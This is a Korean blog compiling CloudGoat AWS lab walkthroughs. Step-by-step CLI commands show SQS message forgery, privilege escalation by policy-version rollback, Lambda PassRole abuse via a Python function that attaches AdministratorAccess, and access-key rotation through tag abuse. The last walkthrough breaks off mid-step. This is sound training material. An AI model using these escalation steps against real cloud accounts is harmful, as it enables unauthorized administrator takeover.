반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/sqs_flag_shop/README.md

 

cloudgoat/cloudgoat/scenarios/aws/sqs_flag_shop/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

SQS_FLAG_Shop문제는 SQS메시지를 조작하여 DB에 있는 MyAsset의 값을 100,000,000 이상으로 만들어 FLAG를 구매할 수 있도록 하는 문제입니다.

 

공격 설명 페이지

 

생성된 웹페이지 - (http://<EC2 IP>:5000)

공격 대상 웹페이지

 

 

 문제 풀이

0. 환경 설정

시나리오 환경 구성이 완료되면 1. sqs-user, 2.웹페이지 주소 이렇게 총 2가지 정보가 주어집니다.

#-------------------- 0. 환경 설정 --------------------
cat start.txt
cloudgoat_output_sqsuser_access_key_id = <access_key>
cloudgoat_output_sqsuser_secret_key = <secret_key>
web_site_ip = http://<ec2 ip address>:5000

 

 

1. 현재 소유 권한 확인

현재 가지고 있는 권한을 확인해 보면 sqs-user는 모든 리소스를 대상으로 "iam:Get*", "iam:List*" 2개의 권한과 

cg-sqs-send-message 역할을 대상으로 "sts:AssumeRole" 을 할 수 있는 권한을 소유하고 있습니다.

 

cg-sqs-send-message로 역할 전환을 했을 경우 "cg-sqs" 정책을 소유하게 되는데 해당 정책을 확인해 보면

sqs 서비스 대상으로 "sqs:GetQueueUrl", "sqs:SendMessage" 2개의 권한을 가지게 됩니다.

 

#-------------------- 1. 현재 소유 권한 분석 --------------------

###  계정 리스트 확인 ###
aws iam list-users \
 --profile sqs_flag_shop | grep cgidkdmwdu0vlo
"UserName": "cg-sqs-user-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo",
"UserName": "cg-web-sqs-manager-cgidkdmwdu0vlo",
"Arn": "arn:aws:iam::739275444311:user/cg-web-sqs-manager-cgidkdmwdu0vlo",

### <user> 에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### <user> 에게 적용된 User 관리 정책 ###
aws iam list-user-policies \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop \
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}

### 유저 정책 확인 ###
aws iam get-user-policy \
 --policy-name cg-sqs-scenario-assumed-role \
 --user-name cg-sqs-user-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "UserName": "cg-sqs-user-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs-scenario-assumed-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo"
            }
        ]
    }
}

### 역할 확인 ###
aws iam get-role \
 --role-name cg-sqs-send-message-cgidkdmwdu0vlo \
 --profile sqs_flag_shop
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
        "RoleId": "AROA2YICACBL4GB66HAT2",
        "Arn": "arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo",
        "CreateDate": "2025-04-09T01:29:10+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-sqs-user-cgidkdmwdu0vlo"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Scenario",
                "Value": "sqs_flag_shop"
            }
        ],
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-09T02:39:16+00:00",
            "Region": "us-east-1"
        }
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "AttachedPolicies": []
}

### 역할 정책 리스트 ###
aws iam list-role-policies \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--profile sqs_flag_shop
{
    "PolicyNames": [
        "cg-sqs"
    ]
}

### 역할 정책 확인 ###
aws iam get-role-policy \
--role-name cg-sqs-send-message-cgidkdmwdu0vlo \
--policy-name cg-sqs \
--profile sqs_flag_shop
{
    "RoleName": "cg-sqs-send-message-cgidkdmwdu0vlo",
    "PolicyName": "cg-sqs",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:739275444311:cash_charging_queue"
            }
        ]
    }
}

 

 

 

2. 역할 전환

주어진 권한을 이용하여 역할전환을 합니다.

#-------------------- 2. 역할 전환 --------------------
### 역할 전환 ###
aws sts assume-role \
 --role-arn arn:aws:iam::739275444311:role/cg-sqs-send-message-cgidkdmwdu0vlo \
 --role-session-name sqs-user \
 --profile sqs_flag_shop

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile sqs_role aws_access_key_id <aws_access_key_id>
aws configure set --profile sqs_role aws_secret_access_key <aws_secret_access_key>
aws configure set --profile sqs_role aws_session_token <aws_session_token>

 

 

3. SQS 메시지 경로 확인 및 전송

역할 전환 이후 주어진 권한을 이용하여 queue url을 확인하고

이후 sqs queue url을 이용하여 조작한 message body를 전송하면 됩니다.

#-------------------- 3. SQS 메시지 경로 확인 및 SQS 메시지 전송 --------------------
### SQS GetQueueUrl 확인 ###
aws sqs get-queue-url \
--queue-name cash_charging_queue \
--profile sqs_role
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue"
}

### SQS 메시지 전송 ###
aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/739275444311/cash_charging_queue \
--message-body '{"charge_amount": 100000000}' \
--profile sqs_role
{
    "MD5OfMessageBody": "a539acfcd12c57a477387a5dbc7fa5a8",
    "MessageId": "fcfda745-8e1d-4eaf-9e63-08e130a608fb"
}

 

 

SQS Send message를 보내면 아래와 같은 화면이 확인 가능합니다.

sqs queue message 전송 화면

 

조작한 SQS Send message를 보낸 후 웹페이지를 새로고침(F5) 해보면 My Asset이 늘어나있는게 보입니다.

이 자산을 이용하여 Flag를 주문(Order)하면 됩니다.

 

Flag 구매 이후 영수증(Receipt) 정보 확인에서 Flag 값을 확인하면 이 문제는 끝납니다.

Flag 획득 성공

 

 

  보안 개선 방안

 

1. 웹페이지 소스코드 주석 제거

 - 해당 문제는 결정적으로 웹페이지에 주석처리된 소스 코드가 문제였기 때문에 공격자에 의해 악용될 수 있습니다.

 - 따라서 웹페이지에 주석 처리된 소스코드는 전부 제거해야 함

 

2. sqs-user 인증 강화

 - sqs-user 계정이 공격자에 의해 탈취될 경우 동일하게 악용될 가능성이 있기 때문에 권한은 최소화 하고 MFA를 적용하여 탈취를 막아야 함

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/iam_privesc_by_rollback/README.md

 

cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_rollback/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

  문제 설명

1개 IAM User와 5개의 Policy 정책을 분석하고 권한 상승 취약점을 이용하여 Admin 권한을 획득하면 되는 문제입니다.

시작은 Raynor 계정을 활용하면 됩니다.

 

  문제 풀이

 

 

문제를 풀기 위해 문제 경로(폴더)로 들어가서 start.txt를 확인합니다.

확인한 Access Key로 프로파일을 하나 생성합니다.

#-------------------- 0. 환경 세팅 --------------------
### 시작 계정 Access Key 확인 ###
cat start.txt

### 프로파일 생성 ###
aws configure --profile iam_rollback

 

 

 

1. 소유 권한 분석

사용자 정책을 확인해 보면 raynor 사용자에게는  cg-raynor-policy-<id> 정책이 붙어있고

정책이 가지고 있는 권한은 "iam:SetDefaultPolicyVersion", "iam:Get*", "iam:List*" 총 3개의 권한이 확인됩니다.

 

#-------------------- 1. 현재 소유 권한 확인 --------------------
###  계정 리스트 확인 ###
aws iam list-users --profile iam_rollback
# 출력결과
{
	"Path": "/",
	"UserName": "raynor-cgidpes7yoy8s0",
	"UserId": "AIDA2YICACBL6SU6TZMJA",
	"Arn": "arn:aws:iam::739275444311:user/raynor-cgidpes7yoy8s0",
	"CreateDate": "2025-04-08T00:45:23+00:00"
}

### 사용자에게 적용된 AWS 관리 정책 ###
# 출력결과
aws iam list-attached-user-policies --user-name raynor-cgidpes7yoy8s0 --profile iam_rollback
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0"
        }
    ]
}

### 정책 확인 ###
1) 일반
aws iam get-policy --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --profile iam_rollback
# 출력결과
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
        "PolicyId": "ANPA2YICACBLTRZYYD7SX",
        "Arn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2025-04-08T00:45:23+00:00",
        "UpdateDate": "2025-04-08T00:45:32+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "iam-privesc-by-rollback"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

2) 상세
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v1 --profile iam_rollback
# 출력결과
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "IAMPrivilegeEscalationByRollback"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-08T00:45:23+00:00"
    }
}

 

 

2. 정책 버전 확인

정책의 버전을 확인해보면 총 5가지 버전의 정책이 확인할 수 있습니다.

각 버전의 정책은 어떻게 권한이 할당되었는지 확인해봅니다.

 

#-------------------- 2. 버전 확인 및 버전 별 권한 조회 --------------------

### 정책 버전 확인 ###
aws iam list-policy-versions --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --profile iam_rollback
# 출력결과
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2025-04-08T00:45:32+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2025-04-08T00:45:30+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2025-04-08T00:45:27+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2025-04-08T00:45:25+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2025-04-08T00:45:23+00:00"
        }
    ]
}

aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v2 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v3 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v4 --profile iam_rollback
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 --version-id v5 --profile iam_rollback

 

 

3. 디폴트 정책 변경 및 변경 확인

위에서 정책의 버전을 확인해보니 v3 버전의 정책이 관리자 권한을 가지고 있었습니다.

따라서 사용자에게 적용된 버전을 v3 버전으로 바꿔줍니다.

그 후 raynor 사용자에게 관리자 권한을 부여해줍니다.

#-------------------- 3. 디폴트 정책 변경 및 변경 확인 --------------------

### SetDefaultPolicyVersion을 이용한 디폴트 정책 변경 ###
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 \
--version-id v3 \
--profile iam_rollback

### 정책 확인 ###
aws iam get-policy \
--policy-arn arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0 \
--profile iam_rollback
# 출력결과
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
        "PolicyId": "ANPA2YICACBLTRZYYD7SX",
        "Arn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0",
        "Path": "/",
        "DefaultVersionId": "v3",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2025-04-08T00:45:23+00:00",
        "UpdateDate": "2025-04-08T04:48:30+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "iam-privesc-by-rollback"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

### 사용자(raynor)에게 관리자 권한 추가 ###
aws iam attach-user-policy \
 --user-name raynor-cgidpes7yoy8s0 \
 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
 --profile iam_rollback

### 사용자에게 적용된 AWS 관리 정책 ###
aws iam list-attached-user-policies \
 --user-name raynor-cgidpes7yoy8s0 \
 --profile iam_rollback
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "cg-raynor-policy-cgidpes7yoy8s0",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-raynor-policy-cgidpes7yoy8s0"
        }
    ]
}

 

사용자 정책을 확인해보면 사용자에게 관리자 권한이 추가되었음을 확인할 수 있습니다.

관리자 권한 획득 - 성공

 

 

 

  보안 개선 방안

1. 권한 최소화

iam:SetDefaultPolicyVersion 권한은 일반 사용자에게 부여하면 안됩니다.

이 권한은 보통 정책 버전을 관리하는 CI/CD 파이프라인이나 보안 관리자에게만 허용해야 합니다.

2. 정책 버전 관리

더 이상 사용하지 않는 정책 버전은 삭제(delete-policy-version) 해야 합니다.

 

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/lambda_privesc/README.md

 

cloudgoat/cloudgoat/scenarios/aws/lambda_privesc/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

1개 IAM User와 2개 Role 생성되고 admin 권한을 획득하는 문제입니다.

시작은 Chris 부터 시작하면 됩니다.

 

lambda_privesc 문제

 

 

  문제 풀이

 

 

문제를 풀기 위해 문제 경로(폴더)로 들어가서 start.txt를 확인합니다.

확인한 Access Key로 프로파일을 하나 생성합니다.

#-------------------- 0. 시작 환경 설정 --------------------
### 시작 계정(Chris) Access Key 확인 ###
cat start.txt

### 프로파일 생성 ###
aws configure --profile lambda_privesc

 

 

Chris에 붙어있는 유저 정책을 확인해보면 iam 서비스와 sts 역할 전환을 할 수 있습니다.

#-------------------- 1.1 현재 소유 권한 분석 - Policy --------------------
###  계정 리스트 확인 ###
aws iam list-users --profile lambda_privesc

### chris 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
        }
    ]
}

### chris 에게 적용된 User 관리 정책 (lambda_privesc 요청) ###
aws iam list-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "PolicyNames": []
}

### cg-chris-policy-cgidnsyro2hx1n 정책 확인 ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "chris"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-03T08:13:29+00:00"
    }
}

 

 

1. 소유 권한 분석

 

2개의 역할(debug-role, lambdaManager-role)을 확인해 보면

1. debug-role은 관리자 권한(AdministratorAccess)이 할당되어 있고

2. lambdaManager-role에는 iam:PassRole와 lambda:*에 대한 권한이 할당되어 있습니다.

 

이 문제는 lambdaManager-role에 할당된 iam:PassRole을 이용하여 lambda 함수로  debug-role 역할을 전달한 후 debug-role 이 가지고 있는 관리자권한을 이용하여 다른 유저(Chris)의 권한을 상승시키는 취약점을 활용한 문제 입니다.

#-------------------- 1.2 현재 소유 권한 분석 - Role --------------------
### 역할 리스트 확인 ###
aws iam list-roles --profile lambda_privesc | grep cgidnsyro2hx1n
# 출력결과
"RoleName": "cg-debug-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
"RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",

### 역할 확인 - (1. debug-role) ###
aws iam get-role --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-debug-role-cgidnsyro2hx1n",
        "RoleId": "AROA2YICACBL2I6HX52KN",
        "Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
        "CreateDate": "2025-04-03T08:13:29+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat debug role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidnsyro2hx1n"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

### 역할 확인 (2. lambdaManager) ###
aws iam get-role --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
        "RoleId": "AROA2YICACBL4GNTPQSW6",
        "Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",
        "CreateDate": "2025-04-03T08:13:39+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/chris-cgidnsyro2hx1n"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat Lambda manager role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidnsyro2hx1n"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n"
        }
    ]
}

### 정책 확인 (lambdaManager-policy) ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-03T08:13:29+00:00"
    }
}

 

 

2. 역할 전환 및 프로파일 생성

 

Chris 유저가 가지고 있는 역할 전환 권한을 이용하여 lambdaManager-role로 역할 전환하고 새로운 프로파일을 만듭니다.

#-------------------- 2. 역할 전환 및 Role 프로파일 생성 ### --------------------
### 역할 전환 (lambdaManager) ###
aws sts assume-role --role-arn arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n --role-session-name Chris --profile lambda_privesc

### 역할 전환 프로파일 생성 ###
aws configure set --profile role_LambdaManager aws_access_key_id <access_key>
aws configure set --profile role_LambdaManager aws_secret_access_key <secret_key>
aws configure set --profile role_LambdaManager aws_session_token <session_token>

 

3. 람다 함수 생성 및 관리자권한 획득

 

Chris 사용자에게 관리자권한을 추가하는 lambda 함수를 작성 후 lambda 함수를 생성하고 실행합니다.

이 모든 과정은 LambdaManager 역할로 수행합니다.

Lambda 함수가 정상적으로 실행된 후 Chris가 소유하고 있는 권한을 재확인해보면 관리자 권한을 소유하고 있음이 확인됩니다.

#-------------------- 3. Lambda 함수 생성 및 실행하여 관리자 권한 획득 ### --------------------

### 관리자 권한 획득을 위한 Lambda 함수 - 코드 생성 ###
# 파일명 : lambda_function.py
import boto3

def lambda_handler(event, context):
    iam = boto3.client('iam')

    # 사용자 이름과 정책 ARN 설정
    user_name = 'chris-cgidnsyro2hx1n'  # 사용자이름
    policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'

    try:
        # 정책 attach 실행
        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn=policy_arn
        )
        return {
            'status': 'Success',
            'message': f'Attached AdministratorAccess to user {user_name}'
        }
    except Exception as e:
        return {
            'status': 'Error',
            'message': str(e)
        }

### .py 코드 zip 파일 변환 ###
zip function.zip lambda_function.py

### lambda 함수 생성 ###
aws lambda create-function \
  --function-name PrivilegeAttack1 \
  --runtime python3.12 \
  --role arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip \
  --profile role_LambdaManager

### lambda 함수 실행 ###
aws lambda invoke \
    --function-name PrivilegeAttack1 \
    --payload '{}' \
    response.json \
--profile role_LambdaManager

### chris 에게 적용된 AWS 관리 정책 확인 - 관리자 권한 획득 ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
        }
    ]
}

 

<권한 상승 취약점을 활용한 관리자 권환 획득>

관리자 권한 상승 - 성공

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

 

  문제 정보

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/iam_privesc_by_key_rotation/README.md

 

cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_key_rotation/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 환경 구성

문제를 풀기 위해 클라우드 환경을 생성을 합니다.

 


  문제 설명

문제는 IAM에서 User 3개, Role 1개, Secret Manager 서비스에서 1개의 Secret이 생성되고 그 값을 알아내면 됩니다.

시작은 manager부터 시작하면 됩니다.

문제 Github - Readme

 

 

  문제 풀이

시작 지점은 manager 부터 시작하라고 Read me 페이지에 나와있으니 start.txt를 확인합니다.

확인하면 manager에 대한 Access Key와 Secret Key가 보입니다.

manager access key

 

위 Access Key를 이용하여 AWS CLI를 사용할 수 있게 다음과 같은 명령어를 입력하여 manager 프로파일을 생성하면 됩니다.

aws configure --profile manager

 

 

1. 권한 분석 (현재  소유 권한)

manager 유저의 정책 Policy를 분석해보겠습니다.

1) manager 유저는 사용자에게 Tag를 붙일 수 있고 Access Key를 생성/삭제 할 수 있습니다.

    - 이 점을 이용하면 manager 유저는 admin 유저 권한을 획득 가능합니다.

2) manager 유저는 가상MFA디바이스를 생성하고 적용할 수 있습니다.

    - 이 점을 이용하면 admin 유저는 Secret Manager 서비스로 역할 전환이 가능하고 Secret 값을 획득할 수 있습니다.

#-------------------- 1. 현재 권한 분석 과정 --------------------

###  계정 리스트 확인 ###
aws iam list-users --profile manager


### manager 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}


### manager 에게 적용된 User 관리 정책 (manager 요청) ###
aws iam list-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}


### SelfManageAccess 정책 확인 ###
aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "UserName": "manager_cgidl7mh6zo0vx",
    "PolicyName": "SelfManageAccess",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::739275444311:user/*",
                    "arn:aws:iam::739275444311:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:mfa/*",
                "Sid": "CreateMFA"
            }
        ]
    }
}


### TagResources 정책 확인 ###
aws iam get-user-policy --policy-name TagResources --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "UserName": "manager_cgidl7mh6zo0vx",
    "PolicyName": "TagResources",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }
        ]
    }
}

 

 

 

2. Admin 권한 획득

#-------------------- 2. Admin 권한 획득 과정 --------------------

### admin 계정에 developer:true 태그 붙이기 ###
aws iam tag-user --user-name admin_cgidl7mh6zo0vx --tags Key=developer,Value=true --profile manager

### admin 계정 태그 조회 ###
aws iam list-user-tags --user-name admin_cgidl7mh6zo0vx --profile manager

### admin 유저 Access Key 삭제 후 생성 ###
aws iam delete-access-key --access-key-id <access-key> --user-name admin_cgidl7mh6zo0vx --profile manager
aws iam create-access-key --user-name admin_cgidl7mh6zo0vx --profile manager

### admin 프로파일 생성 ###
aws configure --profile privesc_admin

 

 

3. MFA 디바이스 생성 & Secret Manager 역할 전환 & Secret 값 획득

#-------------------- 3. MFA 디바이스 생성 후 Secret Manager 역할 전환 하고 Secret 값 획득 과정 --------------------
### MFA 장치 생성 ###
